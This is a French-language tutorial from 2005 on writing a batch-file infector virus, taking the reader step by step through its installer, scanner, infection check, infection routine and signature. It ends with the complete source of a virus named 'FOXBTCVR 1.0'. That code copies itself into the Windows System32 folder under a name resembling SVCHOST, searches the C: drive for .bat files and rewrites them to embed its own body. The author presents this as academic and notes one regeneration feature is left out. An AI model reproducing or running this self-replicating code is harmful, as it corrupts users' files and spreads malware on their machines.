Principes d'un batch file infector

Par Foolfox le 17-06-2005



principes de ce type de virus, composants, source



AVERTISSEMENT : LE DOCUMENT SUIVANT A ETE REDIGE DANS
UN BUT ACADEMIQUE. LE BUT DE SE DOCUMENT EST DE VOUS
PERMETTRE DE COMPRENDRE LE FONCTIONNEMENT DE BASE D'UN
VIRUS ET SES METHODES DE REPLICATION.

AFIN D'EVITER UN DETOURNEMENT DE CE CONCEPT, LE
VIRUS N'EST PAS CAPABLE D'INFECTER UNE MACHINE PAR
LE BIAIS D'UN BATCH INFECTE, SEULEMENT PAR L'EXECUTION
DE LA PREMIERE INSTANCE DU VIRUS. (LA PARTIE QUI
REGENERE LE VIRUS PAR UN BATCH INFECTE N'AS PAS
ETE DEVELOPPEE).



Sommaire :
I. Introduction
II. Composants
III. Création des composants
III. 1. Installation
III. 2. Scanner
III. 3. Identification
III. 4. Infection
IV. Signature du batch
V. Le virus


I. INTRODUCTION


Qu'est-ce qu'un virus, et quel est la fonctionnalité qui caractérisé un programme comme étant un virus ?

Un virus est une pièce de code (générallement déguisée sous une apparence anodine) qui cause des évènements non attendus et généralement non désirés. Un virus est généralement concu de manière à pouvoir se multiplier et se répandre par quelconque moyen de communication .

On distingue généralement plusieures catégories de virus dépendamment de leur fonctionnalité, nous allons
nous intéresser aux virus de type file-infectors, qui ont la caractéristiques de s'attacher à des fichiers de manière à être executés lors du lancement du fichier infecté.

Globalement, il est nécessaire de connaître un minimum au niveau des commandes batchs. Le but de ce papier n'étant pas de vous faire un cours sur la programmation en batch....


II. COMPOSANTS


Le virus que nous allons développer n'auras pas de payload particulier, et sa seule cible seront les autres fichiers batchs.

Le virus de base doit avoir les composants suivants:

- Installeur, pour infecter une machine propre sur laquelle serait executée une instance du virus
- Scanner, pour retrouver les fichiers batchs du système (ceux que l'on va infecter)
- Identification, pour déterminer si un batch à déjà été infecté
- Infection, pour modifier les fichiers batch propres


Notre virus étant du type File Infector, il est automatiquement executé à chaque démarrage de fichier infecté. Nous n'avons donc pas besoin de lancer une exécution au démarrage du système.


III. CREATION DES COMPOSANTS


III. 1. INSTALLATION

C'est la phase de base qui doit être executée au moins une fois pour préparer une instance propre du virus. Le but de ce document n'étant pas de rajouter une peste à liste des existants, cette partie à volontairement été limitée à une copie du virus par lui même, afin que seul l'exécution d'une instance du virus en premier lieu permette d'infecter correctement une machine. Si vous transmettez un batch infecté sur une machine propre, cela sera immediatement perceptible (et si vous ne comprenez pas pourquoi, même pas la peine d'essayer).

code_header Code:
spacer :: cette partie détermine si le virus est présent
:: sur le système, au cas ou le virus n'est pas
:: présent on le copie dans le répertoire système
:: sous un nom anodin...

COPY %WINDIR%\SYSTEM32\SVCHOST.LLG %WINDIR%\SYSTEM32\SKCHOST

:: ici on teste si tout c'est bien passé

IF not errorlevel 1 goto FOUND

:: Le virus n'est pas présent sur le système, on
:: le copie

COPY %0.bat %WINDIR%\SYSTEM32\SVCHOST.LLG

:FOUND

Cette partie doit être exécutée au démarrage du virus, afin de préparer l'environnement pour que la suite des opérations se déroule sans problèmes.


III. 2. SCANNER

Cette partie est relativement simple, le scanner va simplement chercher tous les fichiers batchs sur le disque C:\.

On peut obtenir une liste de tous les fichiers batchs avec la commande DIR *.bat, et effectuer toute la recherche au niveau du disque dur en spécifiant le paramètre /S

La seule manipulation que doit faire le scanneur lorsqu'il trouve un fichier batch, c'est de transmettre le nom du fichier batch à une sous-routine pour que le fichier soit traité (fichier déjà infecté ? si oui, on continue, sinon on infecte le fichier, etc...)

Toutefois, la fonction CALL dans un batch ne permet que d'appeler un batch externe comme procédure (avec retour, il est important qu'après le traitement il y ait un retour au point d'appel pour terminer la boucle), la solution est soit d'inclure une deuxième fichier batch qui effectueras la procédure, ou de traiter les paramètres recus par le batch pour émuler une fonction interne.

Cette émulation peut être effectuée en manipulant les paramètres fourni par la ligne de commande, soit on lance le batch sans paramètres, et la routine principale est exécutée, soit on insert un paramètre et à ce moment la fonction sera exécutée en place du programme principal.

En ajoutant cette ligne au début du batch, on peut définir si il y as eu des paramètres de passés lors de l'appel du programme :

code_header Code:
spacer
%1 %2 %3

%1, %2 et %3 représentent les 3 paramètres passés en ligne de commande. Si aucun paramètre n'est passé, cette commande ne fait rien. Si des paramètres sont passés, ils seront executés comme commande. Notre but est dans le cas d'execution de la sous-routine, de passer la commande GOTO comme premier paramètre, puis passer le nom de la fonction comme deuxième paramètre, et comme troisième paramètre le nom du fichier batch qui est traité:


Notre scanneur aura donc la forme suivante :

code_header Code:
spacer :: On peut créer une liste des fichiers batchs
:: avec la commande dir /s /b c:\*.bat > filelist.txt
:: (/s : subdirectories, /b : format nom abrege)
::
:: La routine de vérification est appellee comme
:: sous routine de ce programme
::
:: ici on vérifie si on exécute le corps du programme
:: (scanner) ou seulement une sous-routine du corps

%1 %2 %3

:: la ligne suivante execute la commande pour créer
:: la liste, on insert une routine de vérification
:: (la routine de vérification va checker si le
:: batch est déjà infecté, sinon il l'infecte)

for /F "tokens=1 delims= " %%i in ('dir /s /b c:\*.bat')
do call %0 GOTO CHECK_IF_NEED_PROCESS %%i

goto DONE

:CHECK_IF_NEED_PROCESS

... ici on test si le programme nécessite modif

:DONE

La partie qui détermine si il faut copier le virus à l'installation doit être inserée après la première ligne du scanner, de manière à être exécutée en premier si c'est le virus qui est exécutée, et ne pas être executé lorsqu'il faudra lancer le batch.


III. 3. IDENTIFICATION
Cette partie est un peu plus délicate. Lorsqu'on modifie un fichier batch, il faut le 'signer' (tag) de manière à ne pas le retraiter inutilement (si a chaque execution le virus va ajouter son corps au batch, les batchs deviendront inexecutable car trop lourds).
De plus, une augmentation constante de la taille d'un fichier batch est pas très....discret....

On peut utiliser la commande FIND pour trouver un texte dans un batch. A partir de là, notre virus va devoir ajouter un tag au fichier batch traité, et vérifier le batch avant un quelconque traitement pour détecter la signature.

On va appliquer à notre batch la signature FOXBTCVR.
Tout fichier batch qui contient ce terme est exclu de l'infection.

Notre routine de vérification doit donc en premier lieur déterminer si le fichier contient une signature ou pas. On utilise la commande FIND pour déterminer si le texte est présent dans le fichier. Au cas ou il est présent, la ligne est recopiée dans un fichier temporaire. Ensuite, on vérifie si le fichier existe, auquel cas le batch est signé et ne doit pas être traité.

Tout d'abord, on recherche la signature, et on crée un fichier contenant les lignes avec la signature:


code_header Code:
spacer DEL res0.txt
TYPE %3 | FIND "FOXBTCVR" > res0.txt

ensuite, on vérifie la taille du fichier crée, dans le cas ou le fichier est vide, le batch n'est pas infecté, dans le cas ou la taille du fichier est supérieure à zero, le batch est infecté.


code_header Code:
spacer DIR res0.txt | find "res0.txt" | find " 0 "
IF errorlevel 1 goto DONE

La partie identification se présente donc sous la forme suivante :


code_header Code:
spacer :CHECK_IF_NEED_PROCESS

:: On efface le fichier temporaire

DEL res0.txt

:: On cherche la signature dans le fichier traité
:: Si on trouve la signature, le fichier auras
:: une taille supérieure a 0

TYPE %3 | FIND "FOXBTCVR" > res0.txt

:: On vérifie la taille du fichier
:: si la taille est nulle, on infecte le
:: fichier

DIR res0.txt | find "res0.txt" | find " 0 "
IF errorlevel 1 goto DONE

...traitement

:DONE

Nous pouvons voir, point intéressant, que notre virus ne peut pas s'infecter lui-même puisqu'il contient la signature recherchée (critère).


III. 4. INFECTION

La partie qui infecte les autres fichiers doit principalement :


- Ajouter le corps du virus au fichier batch

- Modifier le fichier batch pour que le virus soit exécuté avant le batch


Pour ajouter le corps du virus au fichier batch, on utilise la possiblité de concaténer plusieurs fichiers batchs pour n'en faire qu'un seul. On peut donc facilement ajouter le corps du virus au batch principal. Toutefois, il faut tenir compte que notre virus est un virus recursif (il s'appelle lui-même pour émuler l'appel à une fonction), et que de fait on ne peut pas simplement coller les fichiers ensemble: dans ce cas, si le batch à infecté est colle à la fin du fichier, il sera executé à chaque appel de la sous-routine d'infection (pas vraiment discret), de même, si on le place au début du virus, c'est le virus qui ne pourra pas être executé.

Il est donc necessaire d'insérer le fichier cible à un endroit du virus de manière à ce qu'il ne soit executé qu'une seule fois. On va donc insérer le fichier à infecter juste après la boucle de recherche de fichier batch, la fin de la boucle représentant la fin de l'exécution du virus, on n'exécutera qu'une fois le programme cible :

code_header Code:
spacer for /F "tokens=1 delims= " %%i in ('dir /s /b c:\*.bat')
do call %0 GOTO CHECK_IF_NEED_PROCESS %%i

<= ON DOIT INSERER LE BATCH ORIGINAL ICI =>

goto DONE


On peut donc soit créer deux fichiers temporaires qui contiennent le corps du virus. Ensuite on crée un autre fichier temporaire en apondant le premier fichier du virus, puis le programme original, puis la fin du virus. Cette opération est faisable, mais peut devenir complexe au vu de certaines commandes incluses dans le virus.

Le plus simple consiste donc à insérer le fichier batch cible à la fin du virus, et d'insérer après la boucle du scanner un simple appel sur le batch en spécifiant que l'on désire au final exécuter la cible:

code_header Code:
spacer for /F "tokens=1 delims= " %%i in ('dir /s /b c:\*.bat')
do call %0 GOTO CHECK_IF_NEED_PROCESS %%i

call %0 GOTO RUN_TARGET %%i

goto DONE


Ensuite, pour injecter le batch original, on recopie le virus dans un fichier temporaire en supprimant la dernière ligne (label DONE), puis on appond le batch à la fin du virus, puis on ajoute à nouveau le label DONE.

Toutefois, il est important ici de souligner le fait que ce principe va bien fonctionner à la première infection, mais des la deuxième infection notre virus sera alourdi d'un batch précedemment modifié.

La première etape est donc de reprendre notre virus de base et d'en refaire une copie propre.

code_header Code:
spacer
COPY %WINDIR%\SYSTEM32\SVCHOST.LLG viri.txt


Pour supprimer la dernière ligne du virus, il faut utiliser la commande FIND avec une notion d'exclusion (paramètre /V)

code_header Code:
spacer
TYPE viri.txt | FIND /V ":DONE" > viril.txt


Ensuite on insère notre batch, précédé du label :RUN_TARGET pour pouvoir être executé après infection:

code_header Code:
spacer
ECHO :RUN_TARGET >> viril.txt

Puis on ajoute le batch original au fichier :

code_header Code:
spacer
TYPE %3 >> viril.txt

Ensuite on ajoute le label :DONE

code_header Code:
spacer
ECHO :DONE >> viril.txt

Et il ne nous reste plus qu'à copier le nouveau fichier pour remplacer le batch original:

code_header Code:
spacer
copy viril.txt %3 /Y

Ce qui nous donne, pour l'ensemble de l'opération:


code_header Code:
spacer :: Ici on effectue le traitement du fichier a
:: infecter. On commence par recréer le virus

COPY %WINDIR%\SYSTEM32\SVCHOST.LLG viri.txt

:: On supprime la dernière ligne du virus

TYPE viri.txt | FIND /V ":DONE" > viril.txt

:: On ajoute un label

ECHO :RUN_TARGET >> viril.txt

:: On appond le batch original

TYPE %3 >> viril.txt

:: Puis on ajoute le label :DONE

ECHO :DONE >> viril.txt

copy viril.txt %3 /Y


IV. SIGNATURE DU BATCH


Pour signer le batch, on va simplement coller la signature à la fin du batch. Pour cela, on crée un fichier footer.bat qui va contenir la signature en remarque, et on copie le fichier à la fin du batch.


code_header Code:
spacer :: Ici on ajoute la signature
:: on crée un fichier footer.txt, et
:: on concatène les deux fichiers.

del footer.txt
echo Rem -- > footer.txt
echo Rem --== FOXBTCVR - Batch File Infector ==-- >> footer.txt
echo Rem -- >> footer.txt
del temp.bat
type %3 > temp.bat
type footer.txt >> temp.bat
copy temp.bat %3 /Y
del temp.bat


V. LE VIRUS


Voila, nous avons globalement terminé notre file-infector, la version suivante est la version complète du virus, cette dernière necessiterait de sérieuses amelioration pour pouvoir être utilisée comme malware (furtivité, encryption, ré-génération du virus à l'exécution d'une première instance sur un système propre), toutefois le principe est suffisant pour comprendre comment un élement de type file-infector fonctionne.

code_header Code:
spacer --8<-[FOXBTCVR 1.0]---8<----8<----8<----8<----8<----8<--

@echo off
%1 %2 %3
COPY %WINDIR%\SYSTEM32\SVCHOST.LLG %WINDIR%\SYSTEM32\SKCHOST
IF not errorlevel 1 goto FOUND
COPY %0.bat %WINDIR%\SYSTEM32\SVCHOST.LLG /Y
:FOUND
for /F "tokens=1 delims= " %%i in ('dir /s /b c:\*.bat') do call %0 GOTO CHECK_IF_NEED_PROCESS %%i
call %0 GOTO RUN_TARGET %%i
goto DONE
:CHECK_IF_NEED_PROCESS
DEL res0.txt
TYPE %3 | FIND "FOXBTCVR" > res0.txt
DIR res0.txt | find "res0.txt" | find " 0 "
IF errorlevel 1 goto DONE
del viri.txt
COPY %WINDIR%\SYSTEM32\SVCHOST.LLG viri.txt
TYPE viri.txt | FIND /V ":DONE" > viril.txt
ECHO :RUN_TARGET >> viril.txt
TYPE %3 >> viril.txt
ECHO :DONE >> viril.txt
del footer.txt
echo Rem -- > footer.txt
echo Rem --== FOXBTCVR - Batch File Infector ==-- >> footer.txt
echo Rem -- >> footer.txt
del temp.bat
type %3 > temp.bat
type footer.txt >> temp.bat
copy temp.bat %3 /Y
:DONE
@cls

--8<----8<----8<----8<----8<----8<----8<----8<----8<--


FoolFox / HAK pour FutureZone, 2004